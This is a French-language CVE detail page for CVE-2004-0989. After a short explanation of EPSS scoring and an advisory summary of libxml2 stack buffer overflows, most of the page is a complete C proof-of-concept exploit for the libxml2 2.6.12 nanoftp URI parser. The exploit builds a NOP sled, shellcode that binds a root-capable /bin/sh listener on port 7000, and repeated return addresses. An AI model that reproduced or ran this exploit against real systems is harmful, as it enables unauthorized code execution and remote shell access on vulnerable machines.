CVE-2004-0989 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/11526/info The 'libxml2' library is reported prone to multiple remote stack-based buffer-overflow vulnerabilities caused by insufficient boundary checks. Remote attackers may exploit these issues to execute arbitrary code on a vulnerable computer. The URI parsing functionality and the DNS name resolving code are affected. These issues affect libxml2 2.6.12 through 2.6.14. Other versions may also be affected. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ /* * libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom * * [[email protected]] gcc -Wall libsuxml.c -lxml2 * [[email protected]] ./a.out * Usage: ./a.out <retaddr> [ align ] * [[email protected]] netstat -ant | grep 7000 * [[email protected]] ./a.out 0xbfff0360 * xmlNanoFTPScanURL: Use [IPv6]/IPv4 format * [[email protected]] netstat -ant | grep 7000 * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <libxml/nanoftp.h> #define die(x) do{ perror((x)); exit(1); }while(0) #define BS 0x10000 #define NOP 0x90 #define NNOPS 3000 #define ALIGN 0 /* call them */ #define SHELL_LEN (sizeof(sc)-1) char sc[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; /* */ int main(int argc, char **argv) { int x = 0, len = 0; char buf[BS] = {'A',}; long retaddr = 0, align = ALIGN; if(argc < 2){ fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]); return EXIT_FAILURE; } if(sscanf(argv[1], "%lx", &retaddr) != 1) die("sscanf"); if(argc > 2) align = atoi(argv[2]); if(align < 0 || align > 3) die("nice try newblar"); strncpy(buf, "://[", 4); len += 4; memset(buf+len, NOP, NNOPS); len += NNOPS; memcpy(buf+len, sc, SHELL_LEN); len += SHELL_LEN; len += align; for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr)) memcpy(buf+len+x, &retaddr, sizeof(retaddr)); buf[len+x] = ']'; buf[len+x+1] = 0; xmlNanoFTPNewCtxt(buf); return EXIT_SUCCESS; }